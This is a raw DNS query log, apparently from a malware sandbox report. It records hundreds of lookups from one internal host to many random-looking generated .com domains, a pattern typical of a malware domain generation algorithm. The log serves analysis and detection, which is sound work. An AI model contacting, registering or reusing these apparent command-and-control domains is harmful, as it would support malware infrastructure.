                                                                                                                                                                                                          Aug 23, 2024 18:43:31.936101913 CEST192.168.2.51.1.1.10x2ab4Standard query (0)lyrygid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.936780930 CEST192.168.2.51.1.1.10xd9c3Standard query (0)vocycat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.937267065 CEST192.168.2.51.1.1.10xf9bStandard query (0)qegyryq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.937382936 CEST192.168.2.51.1.1.10x512cStandard query (0)purygiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.937863111 CEST192.168.2.51.1.1.10xee15Standard query (0)gacycaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.938318014 CEST192.168.2.51.1.1.10x1f7dStandard query (0)lygywyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.938318014 CEST192.168.2.51.1.1.10xbc8eStandard query (0)vowyguf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.938827991 CEST192.168.2.51.1.1.10xbf55Standard query (0)pufyweq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.938864946 CEST192.168.2.51.1.1.10x4eb3Standard query (0)qexyxop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.939306974 CEST192.168.2.51.1.1.10x2309Standard query (0)gaqyfub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.939640045 CEST192.168.2.51.1.1.10x7626Standard query (0)lyxyxox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.939865112 CEST192.168.2.51.1.1.10x1219Standard query (0)qeqyfug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.940121889 CEST192.168.2.51.1.1.10x5602Standard query (0)vofyqek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.940556049 CEST192.168.2.51.1.1.10xa7fcStandard query (0)gadyqaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.940820932 CEST192.168.2.51.1.1.10xb6dfStandard query (0)puzyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.940946102 CEST192.168.2.51.1.1.10xafaaStandard query (0)lymyfyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.941260099 CEST192.168.2.51.1.1.10x2d0cStandard query (0)volyzic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.941639900 CEST192.168.2.51.1.1.10x761cStandard query (0)pumydyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.941673994 CEST192.168.2.51.1.1.10xe524Standard query (0)qedyqal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.942081928 CEST192.168.2.51.1.1.10xa3baStandard query (0)galyzus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.942392111 CEST192.168.2.51.1.1.10xb8d0Standard query (0)lysymor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.942679882 CEST192.168.2.51.1.1.10x6b90Standard query (0)vonydem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.942679882 CEST192.168.2.51.1.1.10x7eedStandard query (0)qekyluv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.943223000 CEST192.168.2.51.1.1.10x42beStandard query (0)ganydeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.943245888 CEST192.168.2.51.1.1.10xfa7eStandard query (0)pupymol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.943645000 CEST192.168.2.51.1.1.10xfa96Standard query (0)lykylud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.943645000 CEST192.168.2.51.1.1.10x703fStandard query (0)vopymit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.944205046 CEST192.168.2.51.1.1.10xc7cStandard query (0)gatyniz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.944380045 CEST192.168.2.51.1.1.10xd0b0Standard query (0)pujylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.944380045 CEST192.168.2.51.1.1.10x62beStandard query (0)qebysaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.945054054 CEST192.168.2.51.1.1.10xf422Standard query (0)vojykyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.945117950 CEST192.168.2.51.1.1.10x9245Standard query (0)lyvysaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.945554018 CEST192.168.2.51.1.1.10xf422Standard query (0)qetynup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.945854902 CEST192.168.2.51.1.1.10x6f96Standard query (0)puvypoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.946079016 CEST192.168.2.51.1.1.10x9382Standard query (0)gahykeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.946535110 CEST192.168.2.51.1.1.10x82d1Standard query (0)vocypok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.946667910 CEST192.168.2.51.1.1.10x4a20Standard query (0)lyrynux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.947077036 CEST192.168.2.51.1.1.10xb9edStandard query (0)qegykeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.947423935 CEST192.168.2.51.1.1.10x5188Standard query (0)purybup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.947674036 CEST192.168.2.51.1.1.10xb464Standard query (0)gacypiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.947848082 CEST192.168.2.51.1.1.10x99eeStandard query (0)lygyjan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.948338032 CEST192.168.2.51.1.1.10xd15dStandard query (0)vowybyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.948550940 CEST192.168.2.51.1.1.10x2f8cStandard query (0)qexytil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.948905945 CEST192.168.2.51.1.1.10x909Standard query (0)pufyjag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.949296951 CEST192.168.2.51.1.1.10xe559Standard query (0)gaqyvys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.949628115 CEST192.168.2.51.1.1.10x9d18Standard query (0)lyxytur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.949661016 CEST192.168.2.51.1.1.10x78ffStandard query (0)vofyjom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.950139046 CEST192.168.2.51.1.1.10xa9e4Standard query (0)qeqyvev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.951442957 CEST192.168.2.51.1.1.10xf245Standard query (0)puzytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.952728987 CEST192.168.2.51.1.1.10x196cStandard query (0)qedyhiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.952804089 CEST192.168.2.51.1.1.10x521fStandard query (0)lymyved.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.952894926 CEST192.168.2.51.1.1.10x5132Standard query (0)volyrut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953203917 CEST192.168.2.51.1.1.10x34a6Standard query (0)pumycav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953308105 CEST192.168.2.51.1.1.10xfb2cStandard query (0)lysygij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953432083 CEST192.168.2.51.1.1.10x2f11Standard query (0)vonycaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953502893 CEST192.168.2.51.1.1.10x7dd5Standard query (0)qekyryp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953653097 CEST192.168.2.51.1.1.10x193dStandard query (0)galyryz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953802109 CEST192.168.2.51.1.1.10x7ad3Standard query (0)pupyguq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953830004 CEST192.168.2.51.1.1.10x156bStandard query (0)gadyhoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.953963995 CEST192.168.2.51.1.1.10x5f68Standard query (0)lykywex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.954020977 CEST192.168.2.51.1.1.10x26c3Standard query (0)ganycob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:31.954183102 CEST192.168.2.51.1.1.10xb0a5Standard query (0)vopyguk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.512087107 CEST192.168.2.51.1.1.10x370fStandard query (0)qebyxog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.512088060 CEST192.168.2.51.1.1.10xd3d7Standard query (0)pujywep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.512742043 CEST192.168.2.51.1.1.10x163fStandard query (0)gatyfuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.513360023 CEST192.168.2.51.1.1.10xdbf5Standard query (0)vojyqac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.513360023 CEST192.168.2.51.1.1.10x14d9Standard query (0)qetyfyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.513894081 CEST192.168.2.51.1.1.10x2eadStandard query (0)puvyxig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.514146090 CEST192.168.2.51.1.1.10xc4aeStandard query (0)lyvyxin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.514575958 CEST192.168.2.51.1.1.10x26efStandard query (0)gahyqas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.514642000 CEST192.168.2.51.1.1.10xa43dStandard query (0)vocyzum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.514766932 CEST192.168.2.51.1.1.10xff9fStandard query (0)lyryfyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.515295982 CEST192.168.2.51.1.1.10x5729Standard query (0)qegyqov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.515295982 CEST192.168.2.51.1.1.10xac42Standard query (0)purydel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.515770912 CEST192.168.2.51.1.1.10x503cStandard query (0)gacyzuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.516011953 CEST192.168.2.51.1.1.10x6d68Standard query (0)vowydet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.516011953 CEST192.168.2.51.1.1.10xac91Standard query (0)lygymod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.516577005 CEST192.168.2.51.1.1.10x5ab6Standard query (0)qexyluq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.516957998 CEST192.168.2.51.1.1.10xed3aStandard query (0)pufymiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.517399073 CEST192.168.2.51.1.1.10x6091Standard query (0)gaqydaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.518029928 CEST192.168.2.51.1.1.10x2e2aStandard query (0)lyxylyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.518757105 CEST192.168.2.51.1.1.10xcbcaStandard query (0)vofymif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.519401073 CEST192.168.2.51.1.1.10xc656Standard query (0)qeqysap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.520026922 CEST192.168.2.51.1.1.10xe811Standard query (0)puzylyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.520622969 CEST192.168.2.51.1.1.10x5555Standard query (0)gadynub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.521173954 CEST192.168.2.51.1.1.10x418aStandard query (0)lymysox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.521954060 CEST192.168.2.51.1.1.10xe43eStandard query (0)volykek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.522598982 CEST192.168.2.51.1.1.10x7678Standard query (0)qedynug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.523875952 CEST192.168.2.51.1.1.10x28dcStandard query (0)pumypop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.524312973 CEST192.168.2.51.1.1.10x6914Standard query (0)galykew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.529666901 CEST192.168.2.51.1.1.10x3904Standard query (0)vonypic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.529666901 CEST192.168.2.51.1.1.10x306eStandard query (0)lysynun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.530155897 CEST192.168.2.51.1.1.10xdb65Standard query (0)qekykal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.530155897 CEST192.168.2.51.1.1.10x98a5Standard query (0)pupybyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.530368090 CEST192.168.2.51.1.1.10x29aaStandard query (0)ganypis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.530539989 CEST192.168.2.51.1.1.10xa80bStandard query (0)lykyjar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.530728102 CEST192.168.2.51.1.1.10x9532Standard query (0)vopybym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.531352997 CEST192.168.2.51.1.1.10x702dStandard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.531584978 CEST192.168.2.51.1.1.10xc747Standard query (0)pujyjol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.531903982 CEST192.168.2.51.1.1.10x2f05Standard query (0)gatyveh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.532140970 CEST192.168.2.51.1.1.10x4a0eStandard query (0)lyvytud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.532356977 CEST192.168.2.51.1.1.10x41e1Standard query (0)vojyjot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.532792091 CEST192.168.2.51.1.1.10x361aStandard query (0)qetyveq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.533258915 CEST192.168.2.51.1.1.10xb69aStandard query (0)puvytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.533663988 CEST192.168.2.51.1.1.10x6326Standard query (0)gahyhiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.533889055 CEST192.168.2.51.1.1.10x9bb3Standard query (0)lyryvaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.534279108 CEST192.168.2.51.1.1.10x8903Standard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.534482002 CEST192.168.2.51.1.1.10x35beStandard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.534708977 CEST192.168.2.51.1.1.10x2aefStandard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.535052061 CEST192.168.2.51.1.1.10x9f1dStandard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.535295010 CEST192.168.2.51.1.1.10x27a2Standard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.536390066 CEST192.168.2.51.1.1.10xbe48Standard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.536633015 CEST192.168.2.51.1.1.10x9211Standard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.542574883 CEST192.168.2.51.1.1.10xf5f7Standard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.543760061 CEST192.168.2.51.1.1.10x58c1Standard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.543957949 CEST192.168.2.51.1.1.10x6c6bStandard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.544258118 CEST192.168.2.51.1.1.10xca47Standard query (0)vofyguc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.544442892 CEST192.168.2.51.1.1.10x621dStandard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.544913054 CEST192.168.2.51.1.1.10x378bStandard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.544913054 CEST192.168.2.51.1.1.10x9937Standard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.545084953 CEST192.168.2.51.1.1.10x496cStandard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.545237064 CEST192.168.2.51.1.1.10x146Standard query (0)volyqam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.545720100 CEST192.168.2.51.1.1.10xf7eeStandard query (0)qedyfyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.545720100 CEST192.168.2.51.1.1.10x4be8Standard query (0)galyqoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.545820951 CEST192.168.2.51.1.1.10xcb44Standard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.545932055 CEST192.168.2.51.1.1.10x5f76Standard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:32.748999119 CEST192.168.2.51.1.1.10x83eaStandard query (0)gahyhiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.525532007 CEST192.168.2.51.1.1.10xf7abStandard query (0)vonyzut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.525532007 CEST192.168.2.51.1.1.10xf4bcStandard query (0)qekyqoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.526129007 CEST192.168.2.51.1.1.10xeba9Standard query (0)pupydev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.526165009 CEST192.168.2.51.1.1.10xdf88Standard query (0)ganyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.526695013 CEST192.168.2.51.1.1.10xb6ccStandard query (0)lykymij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.526770115 CEST192.168.2.51.1.1.10xbcb4Standard query (0)vopydaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.527434111 CEST192.168.2.51.1.1.10x667dStandard query (0)qebylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.528006077 CEST192.168.2.51.1.1.10x4364Standard query (0)pujymiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.528265953 CEST192.168.2.51.1.1.10x4af3Standard query (0)gatydab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.528378010 CEST192.168.2.51.1.1.10xc5b6Standard query (0)lyvylyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.529031038 CEST192.168.2.51.1.1.10xb320Standard query (0)vojymuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.529052019 CEST192.168.2.51.1.1.10x5051Standard query (0)qetysog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.529628992 CEST192.168.2.51.1.1.10xfe75Standard query (0)puvylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.530230999 CEST192.168.2.51.1.1.10x856Standard query (0)gahynuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.530617952 CEST192.168.2.51.1.1.10x313dStandard query (0)vocykec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.530909061 CEST192.168.2.51.1.1.10x824Standard query (0)lyryson.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.531603098 CEST192.168.2.51.1.1.10xa594Standard query (0)qegynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.532237053 CEST192.168.2.51.1.1.10x50beStandard query (0)purypig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.534360886 CEST192.168.2.51.1.1.10x745Standard query (0)gacykas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.535377026 CEST192.168.2.51.1.1.10x4885Standard query (0)lygynyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.536557913 CEST192.168.2.51.1.1.10xa661Standard query (0)vowypim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.537482977 CEST192.168.2.51.1.1.10xb697Standard query (0)qexykav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.538773060 CEST192.168.2.51.1.1.10x9da7Standard query (0)pufybyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.549762964 CEST192.168.2.51.1.1.10x9eb2Standard query (0)gaqypuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.550070047 CEST192.168.2.51.1.1.10x275aStandard query (0)lyxyjod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.550465107 CEST192.168.2.51.1.1.10x707dStandard query (0)vofybet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.550937891 CEST192.168.2.51.1.1.10xb17dStandard query (0)qeqytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.551861048 CEST192.168.2.51.1.1.10x23f7Standard query (0)puzyjov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.558800936 CEST192.168.2.51.1.1.10x5ae0Standard query (0)gadyvez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.559331894 CEST192.168.2.51.1.1.10xae57Standard query (0)lymytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.559604883 CEST192.168.2.51.1.1.10x1ca2Standard query (0)volyjif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.560400009 CEST192.168.2.51.1.1.10xd1efStandard query (0)qedyvap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.560812950 CEST192.168.2.51.1.1.10x3011Standard query (0)pumytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.561085939 CEST192.168.2.51.1.1.10x1143Standard query (0)galyhib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.561315060 CEST192.168.2.51.1.1.10xf526Standard query (0)lysyvax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.561500072 CEST192.168.2.51.1.1.10x1b39Standard query (0)vonyryk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.561631918 CEST192.168.2.51.1.1.10xdd70Standard query (0)qekyhug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.561790943 CEST192.168.2.51.1.1.10x4e1aStandard query (0)pupycop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.561942101 CEST192.168.2.51.1.1.10xbf3Standard query (0)ganyrew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562103033 CEST192.168.2.51.1.1.10x9b66Standard query (0)lykygun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562228918 CEST192.168.2.51.1.1.10x59f2Standard query (0)vopycoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562372923 CEST192.168.2.51.1.1.10xd025Standard query (0)qebyrel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562500954 CEST192.168.2.51.1.1.10xd5a4Standard query (0)pujygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562625885 CEST192.168.2.51.1.1.10x3911Standard query (0)gatycis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562760115 CEST192.168.2.51.1.1.10x97c4Standard query (0)lyvywar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.562890053 CEST192.168.2.51.1.1.10x3bf3Standard query (0)vojygym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.563030005 CEST192.168.2.51.1.1.10xeb5aStandard query (0)qetyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.563182116 CEST192.168.2.51.1.1.10x5f59Standard query (0)puvywal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.563327074 CEST192.168.2.51.1.1.10xf950Standard query (0)gahyfyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.563500881 CEST192.168.2.51.1.1.10x1071Standard query (0)lyryxud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.564707994 CEST192.168.2.51.1.1.10xb48cStandard query (0)vocyqot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.565737009 CEST192.168.2.51.1.1.10xcbb4Standard query (0)qegyfeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.565999985 CEST192.168.2.51.1.1.10x7e2dStandard query (0)puryxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:33.566271067 CEST192.168.2.51.1.1.10xa94cStandard query (0)gacyqoz.comA (IP address)IN (0x0001)false
